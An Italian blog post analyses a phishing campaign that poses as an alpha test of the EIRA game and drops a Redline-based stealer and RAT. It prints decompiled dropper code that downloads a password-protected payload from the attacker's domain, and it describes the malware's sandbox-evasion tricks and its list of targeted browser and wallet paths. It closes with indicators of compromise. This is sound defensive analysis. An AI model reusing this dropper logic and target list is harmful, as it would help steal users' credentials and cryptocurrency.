Analisi di un Malware Fondato su Redline
Pubblicato il – 16 minuti di lettura – 3318 parole

Negli ultimi mesi si sono moltiplicati i tentativi di diffondere malware tramite alcuni programmi all’apparenza “innocui”, attraendo l’utente attraverso premi come l’invio di denaro con criptovaluta oppure regali a tema NFT. L’utente ignaro, eseguendo un “innocentissimo” eseguibile per accedere ai premi, diventa parte di una botnet.
In questo post, vorrei analizzare in maniera abbastanza dettagliata la campagna malware “Redline-EDIRA” che si protrae da circa inizio Maggio 2022. Affronteremo diverse sfide che l’analista alle prime armi deve affrontare e vedremo inoltre come gli attaccanti hanno utilizzato diversi espedienti per rendere difficile il reverse engineering.
Diffusione tramite Phishing
In un tranquillo pomeriggio, arriva una nuova e-mail con oggetto “ACCESS TO PAID ALPHATEST “EIRA” Project”. Eira project? Non mi dice nulla; pensando fosse la solita persona che chiede l’inutile feedback riguardo il suo progetto, decido di non aprirla. La curiosità è tale che dopo un paio di ore, scarico l’e-mail e decido di aprirla in un ambiente sandboxed (non si sa mai!).
L’e-mail riguarda la partecipazione ad un test per un gioco chiamato “EIRA”. Nella email, mi dicevano che sono stato fortunato perché tra moltissime altre persone sono stato sorteggiato proprio io! Avevo poi la chance di vincere alcuni premi unici come NFT di 500 copie e pagamenti in ETH/USDT/LTC per ogni capitolo della storia sbloccato.
L’e-mail dopo invitava a scaricare subito il client, stando attenti all’atto della registrazione a porre un determinato codice univoco che era contenuto all’interno dell’e-mail. Nel footer poi c’erano un paio di contatti offer@playeira.online
e @cmo_sam_playeira
su Telegram.
La questione è diventata molto interessante: ci sono troppe red flag per non ignorare questa e-mail! Quindi ho preferito andare a fondo della questione e cliccare sul pulsante “Join NOW!”.
Il sito web
Il sito web presenta un gioco chiamato Eira, un open world ambientato in un mondo chiamato “Kauldron”. In questo gioco è presente una ragazza di 15 anni che è alle prese con mille sfide dopo aver ereditato un magic shop da sua nonna, Eira. Il videogioco è stato sviluppato ufficialmente da Gearonin Studio, un team di sviluppatori indie proveniente da Taiwan ed è attualmente disponibile sullo Steam store.

Schermata del sito web
All’interno del sito web vengono presentate le varie possibilità che un giocatore ha: si possono vincere preziosissimi NFT oppure premi in denaro per ogni capitolo di gioco sbloccato. L’ultima parte invita l’utente a registrarsi tramite una e-mail, una password e il codice contenuto nell’e-mail di phishing. A parte la grafica, l’esperienza utente non poteva sicuramente dire molto sulla truffa.
Una veloce visita al codice sorgente del sito web mostra che la pagina è stata costruita con ReactJS e il server che gestisce le pagine è Nginx 1.18.0 . Notare che l’attaccante lascia il manifest di default all’interno del sito web: l’ennesima red-flag. Proseguiamo con simulare il comportamento tipico dell’utente, banalmente questo si traduce in cliccare il bottone join now e applicare il codice. Viene presentato il seguente modale con un link ad un eseguibile:

Modale che appare dopo aver inserito il codice
Molto interessante! Dobbiamo scaricare l’eseguibile (EiraLauncher.exe
) per poter eseguire il gioco e vincere i premi promessi. Poco male direbbe l’utente tipico, ma l’esperienza dimostra che dietro questi eseguibili di solito ci sia un malware. Approfondendo ancora di più all’interno della pagina web, possiamo notare come i codici d’accesso siano stati codificati in chiaro.
// Lista di codice codificati
h = ["WI9S9IE2", "YAICLZ8T", "ZLZI6N1X", "Z3C3HFA5", "7WV6A9NC", "BC44FY1", "Y7WNG94", "F3L182D", "P7G8TU4", "W24FEZX", "T62TUWX", "54DGA7K", "TBN640M", "D0UF4AQ", "ZMF00QA", "SE2490A", "B0AEP84", "MP139AP", "U72GH81", "KF041LR", "HW4316K", "GE8131P", "S84TPAA", "OW43BNC", "WKCQK82", "BNXTG7K", "AA004RT", "XGP889T", "WUSHQ01", "DTO63Y8", "HO8BQQ2", "RQ9SEW2", "YT03EW2", "JX13H51", "SKN9617", "YVNS6G3", "NT3T17R", "N2R81EP", "XQ4KSV9"]
m = ["BC44FY1", "F3L182D", "Y7WNG94", "P7G8TU4", "W24FEZX", "T62TUWX", "54DGA7K", "TBN640M", "D0UF4AQ", "ZMF00QA", "SE2490A", "B0AEP84", "MP139AP", "U72GH81", "KF041LR", "HW4316K", "GE8131P", "S84TPAA", "OW43BNC", "WKCQK82", "BNXTG7K", "AA004RT", "XGP889T", "WUSHQ01", "DTO63Y8", "HO8BQQ2", "RQ9SEW2", "YT03EW2", "JX13H51", "SKN9617", "YVNS6G3", "NT3T17R", "N2R81EP", "XQ4KSV9"]
73 codici diversi per 73 indirizzi e-mail diversi. Strano pensare che un’azienda lasci i codici per accedere al gioco in chiaro: non trovate? Le diverse red flag incominciano ad aumentare la nostra curiosità. Non perdiamo quindi altro tempo e iniziamo subito il reverse engineering del binario.
Il launcher
Scarichiamo quindi EiraLauncher.exe (sha256: b39c855c613f65221ed5d33b3b2e7e74c27ce1afff02a6505103d3ca99d4ec0c
) per poter proseguire l’analisi, notiamo subito che EiraLauncher.exe pesa 158 Mb. La dimensione del file non è tale da farci preoccupare: possiamo supporre infatti che al suo interno ci siano le risorse del gioco compresse.
Abbiamo due diverse strade da poter intraprendere al momento: proseguire con l’analisi dinamica, eseguendo in un ambiente protetto direttamente il programma, oppure possiamo effettuare l’analisi statica, andando ad effettuare un’azione di reverse engineering sul programma. Dal momento che il binario è oltre la dimensione massima delle sandbox online come Any.run e non avendo risorse a disposizione per farmi una macchina virtuale, decidiamo di effettuare una prima analisi statica.
Il file è un eseguibile Windows PE classico. Evidenziamo subito il campo checksum
dell’intestazione COFF impostato a 0 e il timestamp, seppur non sempre accurato, mostra come il programma sia stato compilato il 16 giugno 2022. L’analisi sulle sezioni non evidenzia alcuna caratteristica particolare: il binario contiene tutte sezioni standard (in dettaglio .text
, .rdata
, .data
, .pdata
). Proseguiamo. Estrapolando gli imports, possiamo notare come il programma utilizzi alcune funzioni di “anti-debugging” (IsDebuggerPresent
, IsProcessorFeaturePresent
) per controllare se siamo all’interno di un ambiente sandbox oppure no. Un altro import ShellExecute
desta ulteriori sospetti dato che il programma è in grado ad eseguire comandi.
La sezione risorse invece è più interessante. Sono presenti solo 4 risorse, di cui 2 manifest e icone. Dal momento che il programma è abbastanza pesante, aspettavamo di averne molte molte di più (magari con immagini, video e altri dati per far funzionare il gioco). È arrivato il momento di approfondire che tipo di file sono inclusi all’interno del binario.
Il migliore strumento per scoprire se il binario PE contiene altri tipi di file si chiama binwalk ed è diventato oramai standard de facto per l’analisi dei firmware. L’alternativa sarebbe controllare manualmente ogni sequenza di magic byte all’interno del binario, ma binwalk risulta molto più comodo. Avviamo quindi binwalk specificando il file EiraLauncher.exe
.
binwalk EiraLauncher.exe
162560 0x27B00 Copyright string: "Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED."
210203 0x3351B XML document, version: "1.0"
217058 0x34FE2 Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved."
226139 0x3735B Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved.Stapel Semi Expanded BoldStapel Semi Expanded Bold"
371180 0x5A9EC Copyright string: "Copyright (c) <2012>, <Natanael Gama> (<www.ndiscovered.com | info@ndiscovered.com>),"
372575 0x5AF5F Copyright string: "Copyright"
372776 0x5B028 Copyright string: "copyright statement(s)."
372895 0x5B09F Copyright string: "Copyright Holder(s)."
373844 0x5B454 Copyright string: "copyright notice and this license. These can be"
374245 0x5B5E5 Copyright string: "Copyright Holder. This restriction only applies to the primary font name as"
374368 0x5B660 Copyright string: "Copyright Holder(s) or the Author(s) of the Font"
374548 0x5B714 Copyright string: "Copyright Holder(s) and the Author(s) or with their explicit written"
448218 0x6D6DA Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved."
457219 0x6FA03 Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved.Stapel Expanded BoldStapel Expanded Bold"
603748 0x93664 Microsoft executable, portable (PE)
609570 0x94D22 Copyright string: "CopyrightAttribute"
616308 0x96774 PNG image, 96 x 96, 8-bit/color RGBA, non-interlaced
618375 0x96F87 Zlib compressed data, default compression
629723 0x99BDB PNG image, 3840 x 1900, 8-bit/color RGB, non-interlaced
629814 0x99C36 Zlib compressed data, compressed
6942916 0x69F0C4 PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
6942970 0x69F0FA Zlib compressed data, default compression
7169862 0x6D6746 PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
7171417 0x6D6D59 Zlib compressed data, default compression
7400267 0x70EB4B PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
7401822 0x70F15E Zlib compressed data, default compression
7630062 0x746CEE PNG image, 963 x 156, 8-bit/color RGBA, non-interlaced
7698163 0x7576F3 PNG image, 502 x 739, 8-bit/color RGBA, non-interlaced
7698217 0x757729 Zlib compressed data, default compression
7963360 0x7982E0 PNG image, 502 x 739, 8-bit/color RGBA, non-interlaced
7963414 0x798316 Zlib compressed data, default compression
8196061 0x7D0FDD PNG image, 618 x 756, 8-bit/color RGBA, non-interlaced
8197601 0x7D15E1 Zlib compressed data, default compression
8749951 0x85837F XML document, version: "1.0"
8754151 0x8593E7 Microsoft executable, portable (PE)
8958473 0x88B209 Copyright string: "CopyrightAttribute"
9542639 0x919BEF Object signature in DER format (PKCS header length: 4, sequence length: 10141
9542780 0x919C7C Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
9544319 0x91A27F Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
9546891 0x91AC8B Object signature in DER format (PKCS header length: 4, sequence length: 5889
9547287 0x91AE17 Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
9549103 0x91B52F Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
9552791 0x91C397 Microsoft executable, portable (PE)
9885777 0x96D851 Copyright string: "CopyrightAttribute"
10753439 0xA4159F Object signature in DER format (PKCS header length: 4, sequence length: 10141
10753580 0xA4162C Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
10755119 0xA41C2F Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
10757691 0xA4263B Object signature in DER format (PKCS header length: 4, sequence length: 5889
10758087 0xA427C7 Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
10759903 0xA42EDF Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
10763591 0xA43D47 Microsoft executable, portable (PE)
10767016 0xA44AA8 Copyright string: "CopyrightAttribute"
10770767 0xA4594F Object signature in DER format (PKCS header length: 4, sequence length: 10141
10770908 0xA459DC Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
10772447 0xA45FDF Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
10775019 0xA469EB Object signature in DER format (PKCS header length: 4, sequence length: 5889
10775415 0xA46B77 Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
10777231 0xA4728F Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
10780919 0xA480F7 Microsoft executable, portable (PE)
[....]
Oltre a diversi file come certificati e stringhe di copyright, all’interno del client ci sono molti file binari PE. Questo indica che il client probabilmente è un dropper, una sorta di archivio auto-estraente che dopo aver appurato di non essere in un ambiente di testing scompatta e scrive i file binari per il malware vero e proprio.
Non ci resta che manualmente estrarre i file binari. È un lavoro abbastanza noioso, ma con un po’ di skill di bash/go è possibile automatizzare l’estrazione. Utilizziamo in questo caso l’utility dd
:
dd if=EiraLauncher.exe of=name_binary_output.exe bs=1 skip=offset_i count=offset_difference
dove:
- l’opzione
if
specifica il file di input; - l’opzione
of
specifica il file di output; - l’opzione
bs
definisce la dimensione del blocco da saltare, dal momento che lavoriamo con offset, definiamo la dimensione del blocco come 1 byte; - l’opzione
skip
permette di specificare quanti blocchi vogliamo saltare; dipende da che offset prendete per binwalk. - l’opzione
count
permette di specificare quanti blocchi vogliamo prendere;
Dato che lo strumento di analisi statica ci ha permesso di capire che le sezioni del file PE “globale” non vanno oltre un certo offset, possiamo ipotizzare di avere una serie di file PE uno dietro l’altro. Per esempio, per estrarre il primo, possiamo eseguire questo comando:
dd if=EiraLauncher.exe of=first_binary.exe bs=1 skip=603748 count=8150403
Una volta che abbiamo estratto tutti i binari, recuperiamo solo quelli più interessanti. Siamo interessati a decompilare i binari che si interfacciano e mostrano interazione con l’utente, ovvero quelli GUI.
Characteristics
che indica la presenza o meno di alcune flag.Utilizziamo il comando file *
. Solamente il primo binario corrisponde alla nostra ricerca: notiamo inoltre che è un file Mono/.NET quindi molto probabilmente è stato compilato tramite .NET. Tutti gli altri file sono file di libreria DLL di Dot.net che vengono inclusi staticamente nel binario per evitare problemi di compatibilità tra piattaforme.
Reverse engineering del dropper
Per effettuare l’azione di reverse engineering, possiamo utilizzare ILSpy, un potente decompilatore che permette di effettuare il reverse engineering per binari compilati attraverso .NET.
Apriamo ILSpy e carichiamo il primo binario che abbiamo estratto dal file globale. Di seguito abbiamo un dump della sezione Assembly del binario dot net. Troviamo il nome dello studio che ha sviluppato il gioco originale (come copyright), possiamo trovare anche il nome del file EIRA Launcher
.
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(/*Could not decode attribute arguments.*/)]
[assembly: ThemeInfo(/*Could not decode attribute arguments.*/)]
[assembly: AssemblyAssociatedContentFile("assets/fonts/stapel-semi-expanded-bold.otf")]
[assembly: AssemblyAssociatedContentFile("assets/fonts/cinzel-regular.otf")]
[assembly: AssemblyAssociatedContentFile("assets/fonts/stapel-expanded-bold.otf")]
[assembly: AssemblyAssociatedContentFile("icon.ico")]
[assembly: TargetFramework(".NETCoreApp,Version=v3.1", FrameworkDisplayName = "")]
[assembly: AssemblyCompany("EIRA Launcher")]
[assembly: AssemblyConfiguration("Release")]
[assembly: AssemblyCopyright("2021 - 2022. GEARONIN STUDIO.")]
[assembly: AssemblyFileVersion("2.7.11.0")]
[assembly: AssemblyInformationalVersion("2.7.11")]
[assembly: AssemblyProduct("EIRA Launcher")]
[assembly: AssemblyTitle("EIRA Launcher")]
[assembly: AssemblyVersion("2.7.11.0")]
Quello che a noi interessa è capire da dove inizia l’esecuzione. In questo caso, l’entrypoint è EIRA_Launcher.App.Main
. Decompiliamo la classe App.Main
e scopriamo che essa richiama la classe MainWindow
. Nuovamente decompiliamo la classe MainWindow
che si occupa di creare la nuova finestra.
La classe MainWindow
si occupa di costruire la vista (ovvero l’interfaccia grafica da mostrare all’utente) e di definire le interazioni tra gli elementi grafici. Ad esempio, se esiste un bottone, la classe definisce la logica del programma (tradotto: cosa deve fare il programma) quando il bottone viene premuto. Siamo interessati in particolare ad un bottone in programma: “Install” definito dal metodo OnClickInstallButton
.
0private void OnClickInstallButton(object sender, RoutedEventArgs e){
1 FolderBrowserDialog val = new FolderBrowserDialog();
2 val.set_Description("Select the folder in which you want to install the game");
3 if ((int)((CommonDialog)val).ShowDialog() == 1)
4 {
5 Directory.CreateDirectory(val.get_SelectedPath() + "\\EIRA Game");
6 Directory.CreateDirectory(_filePath);
7 InstallButtonImage.set_Source((ImageSource)new BitmapImage(new Uri("pack://application:,,,/Assets/Images/disabled_playbutton.png")));
8 ((UIElement)InstallButton).set_IsEnabled(false);
9 ((UIElement)barBackground).set_Visibility((Visibility)0);
10 ((UIElement)barProgress).set_Visibility((Visibility)0);
11 ((UIElement)barLabel).set_Visibility((Visibility)0);
12 WebClient val2 = new WebClient();
13 try
14 {
15 val2.add_DownloadFileCompleted(new AsyncCompletedEventHandler(WebClient_DownloadFileCompleted));
16 val2.DownloadFileAsync(new Uri("http://eiragame[.]com/eiragame/eira.zip"), _filePath + "\\temp.zip");
17 }
18 finally
19 {
20 ((System.IDisposable)val2)?.Dispose();
21 }
22 _timer.set_Interval(800);
23 _timer.set_Enabled(true);
24 _timer.add_Tick(new EventHandler(OnTimerTick));
25 _timer.Start();
26 }
27}
Quando l’utente preme sul bottone “Installa” vengono eseguite le seguenti azioni:
Linea di codice | Descrizione |
---|---|
1-2 | Il programma chiede all’utente dove vuole installare il gioco, aprendo una nuova finestra chiamata FolderBrowserDialog . L’utente deve selezionare una cartella. |
3-11 | Il programma crea una nuova cartella chiamata EIRA Game all’interno della path selezionata dall’utente. Imposta il bottone “Install” come bottone disabilitato e nasconde tutti gli altri bottoni presenti nella vista. |
12-21 | Il programma scarica il file presente all’indirizzo http://eiragame[.]com/eiragame/eira.zip nella cartella definita dalla variabile _filePath . |
22-27 | Viene creato un nuovo timer prima di poter effettuare altre operazioni sul file zip. |
All’interno della classe MainWindow
, è stato definito il percorso _filePath
:
private string _filePath = Environment.GetFolderPath((SpecialFolder)26) + "\\InternetCache\\EOSOverlay\\BrowserCache\\blob_storage\\72034298-6c55-4cae-bde5-b013ff6304f8";
Il percorso è composto dalla concatenazione della cartella AppData
e \\InternetCache\\EOSOverlay\\BrowserCache\\blob_storage\\72034298-6c55-4cae-bde5-b013ff6304f8
. Non è un percorso casuale dato che è il percorso in cui il client di Steam scarica tutti i dati del gioco Eira. Un utente non interessato a Eira potrebbe mettere la cartella di destinazione inaccessibile cosicché qualsiasi scrittura sulla cartella fallirebbe, interrompendo l’attività malevola.
Quindi, il file eira.zip
viene scaricato all’interno del percorso _filePath
. Cosa succede però dopo che è finito il download? Siamo interessati ad un altro metodo, in particolare WebClient_DownloadFileCompleted
.
private void WebClient_DownloadFileCompleted(object sender, AsyncCompletedEventArgs e){
ZipFile val = new ZipFile(_filePath + "\\temp.zip");
try
{
val.add_ExtractProgress((EventHandler<ExtractProgressEventArgs>)Archive_ExtractProgress);
val.set_Password("z4dY0aN8m1#");
val.set_Encryption((EncryptionAlgorithm)3);
val.ExtractAll(_filePath, (ExtractExistingFileAction)1);
}
finally
{
((System.IDisposable)val)?.Dispose();
}
}
Scopriamo che la password per aprire il file zip http://eiragame[.]com/eiragame/eira.zip
è z4dY0aN8m1#
. Qual è il senso di avere una password per un file zip? Ostacolare eventualmente chi vorrà intraprendere la segnalazione all’hosting. Molti provider assicurano tolleranza zero per chi distribuisce malware o contenuto malevolo: un file zip di per sé non è malevolo e se protetto da una password, non costituisce un problema. Il problema sta nel verificare il contenuto di un file zip protetto da una password, senza saperla: praticamente quasi “impossibile”.
Un’altra variabile consente di prevedere il contenuto del file zip: un file chiamato MicrosoftRuntimeComponents.exe
.
MicrosoftRuntimeComponents.exe
Il file http://eiragame[.]com/eiragame/eira.zip
pesa circa 1 mb, mentre l’eseguibile MicrosoftRuntimeComponents.exe
ne pesa circa 914 mb! Anche qui gli attaccanti hanno deciso di riempire il file binario per aumentarne la dimensione ed evitare che analisti in erba potessero caricare il binario su piattaforme tipo any.run.
Gli attaccanti hanno sottovalutato due principali aspetti. Il primo: un qualsiasi analista può semplicemente caricare il file zip su any.run, estrarre il binario con la password ed eseguirlo. Due: l’analista “medio” ha sempre una macchina virtuale pronta per poter eseguire malware.
In questo caso, approfondiamo la parte di analisi dinamica. Abbiamo una macchina virtuale con la versione trial di Windows 10, possiamo intercettare i pacchetti con WireShark, possiamo esplorare le varie chiamate API tramite Process Explorer e molto altro. Non ci basta che avviare l’eseguibile e sperare per il meglio.
Avviamo l’eseguibile e aspettiamo: non succede nulla. Nè process explorer, né WireShark mi notificano di niente. Il programma si è messo in attesa per un certo numero di secondi (250 secondi per la precisione). Dopo circa qualche minuto, il programma ha incominciato con chiamate remote e alle API. Perché il programma ha aspettato prima di poter eseguire il codice malevolo? Sempre per evitare che analisi principianti potessero analizzare i malware in sandbox online, dove il malware è eseguito fino a 5-10 minuti prima di essere fermato. Se un programma infatti non effettua alcuna azione malevola e scade il tempo, allora il programma è considerato sicuro.
Il programma MicrosoftRuntimeComponents
esegue le seguenti azioni:
- Controlla le lingue supportate del sistema operativo. Se la lingua è diversa da inglese, allora il malware non viene eseguito.
- Legge il nome del dispositivo, utile per capire se siamo all’interno di una sandbox online
- Controlla se è stato attivato la protezione LSA che consente di ostacolare eventuali attaccanti per il recupero della password di utenti locali.
A questo punto, il malware interroga un server remoto di Command&Control e notifica che è pronto per eseguire qualsiasi comando il server impartisca. Siamo quindi di fronte ad un malware di tipo RAT (Remote Access Tool) utilizzato per alimentare - con molta probabilità - una botnet.
Il client inizia la connessione comunicando al server quale porta ha aperto. Il server può così incominciare a scambiare dati con il client. Inizialmente c’è una fase di controllo: il client comunica un certo id per autenticarsi con il server e il server risponde con il risultato. Questo serve per eliminare eventuali client “farlocchi” utilizzati magari come esche contro gli attaccanti.
Il client richiede al server se ci sono comandi da eseguire. Il server risponde con un primo comando che consente al server di cercare:
- chiavi private memorizzate come file
- password memorizzate nei browser
- chiavi private di portafogli come Monero, Exodus, Coinomi
.3%USERPROFILE%\AppData\Local\Coowon\Coowon\User DataF..,%USERPROFILE%\AppData\Local\liebao\User DataF...%USERPROFILE%\AppData\Local\QIP Surf\User DataF..-%USERPROFILE%\AppData\Local\Orbitum\User DataF..3%USERPROFILE%\AppData\Local\Comodo\Dragon\User
DataF..0%USERPROFILE%\AppData\Local\Amigo\User\User DataF..+%USERPROFILE%\AppData\Local\Torch\User DataF..:%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User DataF..,%USERPROFILE%\AppData\Local\Comodo\User DataF..8%USERPROFILE%\AppData\Local\360Browser\Browser\User DataF...%USERPROFILE%\AppData\Local\Maxthon3\User DataF..
-%USERPROFILE%\AppData\Local\K-Melon\User DataF..5%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User DataF...%USERPROFILE%\AppData\Local\Nichrome\User DataF..4%USERPROFILE%\AppData\Local\CocCoc\Browser\User DataF..*%USERPROFILE%\AppData\Local\Uran\User DataF...%USERPROFILE%\AppData\Local\Chromodo\User DataF..2%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User DataF..A%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User DataF..4%USERPROFILE%\AppData\Local\Microsoft\Edge\User DataF..H%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce ExperienceF..!%USERPROFILE%\AppData\Local\SteamF..7%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data.E...c.F..-%USERPROFILE%\AppData\Roaming\Mozilla\FirefoxF..&%USERPROFILE%\AppData\Roaming\WaterfoxF..&%USERPROFILE%\AppData\Roaming\K-MeleonF..)%USERPROFILE%\AppData\Roaming\ThunderbirdF...%USERPROFILE%\AppData\Roaming\Comodo\IceDragonF..3%USERPROFILE%\AppData\Roaming\8pecxstudios\CyberfoxF..;%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHawF..=%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale Moon.E.E!E...ArmoryE#..%appdata%E%E'E...ArmoryE#..*.walletE%....E!E...AtomicE#.
.%appdata%E%E'E...atomicE#..*E%....E!E...BinanceE#..%appdata%E%E'E...BinanceE#..*app-store*E%....E!E...CoinomiE#..%localappdata%E%E'E...Coinomi\Coinomi\CacheE#..*E%..E'E...Coinomi\Coinomi\dbE#..*E%..E'E...Coinomi\Coinomi\walletsE#..*E%....E!E...ElectrumE#..%appdata%E%E'E...Electrum\walletsE#..*E%....E!E...EthereumE#..%appdata%E%E'E...Ethereum\walletsE#..*E%....E!E...ExodusE#..%appdata%E%E'E...Exodus\exodus.walletE#..*E%..E'E...ExodusE#..*.jsonE%....E!E...GuardaE#..%appdata%E%E'E...GuardaE#..*E%....E!E...JaxxE#..%appdata%E%E'E...com.liberty.jaxxE#..*E%....E!E...MoneroE#..%userprofile%\DocumentsE%E'E...Monero\walletsE#..*E%.....E)...ffnbelfdoeiohenkjibnmadjiehjhajb|YoroiWallet
Effettuando una prima analisi statica molto veloce, ho potuto constatare la presenza di un certo settore delle istruzioni che è risultato molto simile ad un’altra classe di malware. Stiamo parlando di Redline, un malware stealer che sono soliti essere dentro crack di alcuni software; il loro scopo è quello di rubare più informazioni possibili. Password, dati, informazioni come documenti, immagini e file dell’utente.
Redline risulta essere un prodotto molto allettante per alcuni attaccanti in erba: gli sviluppatori di Redline hanno creato diversi piani di abbonamento che consente a chiunque di creare la propria versione di Redline e creare una campagna (da 100 dollari fino ad un massimo di 1000 per più mesi). Gli autori del malware risultano molto attivi nei forum specializzati che rivendono le informazioni rubate da Redline ad altri attaccanti per effettuare un attacco più mirato.
Per quanto riguarda invece la conclusione della campagna, abbiamo compilato alcuni abuse form e contattato le aziende che fornivano host e reverse proxy (come Cloudflare) per cercare quantomeno di arginare il fenomeno. Il dominio al momento non risulta raggiungibile e i server ad essi connessi sembrano essere andati in down.
IoC
Di seguito una serie di informazioni che possono essere immesse per cercare di bloccare eventuali file correlati alla campagna.
Binari:
- Eiralauncher.exe - sha256:
b39c855c613f65221ed5d33b3b2e7e74c27ce1afff02a6505103d3ca99d4ec0c
- MicrosoftRuntimeLauncher.exe - sha256:
9d9746992d3aae9f9f102dd27f95533372d57504d8576491c6b43467d7c6f7e3
Domini:
eiragame.com
eiragame.online
IP:
167.235.134.202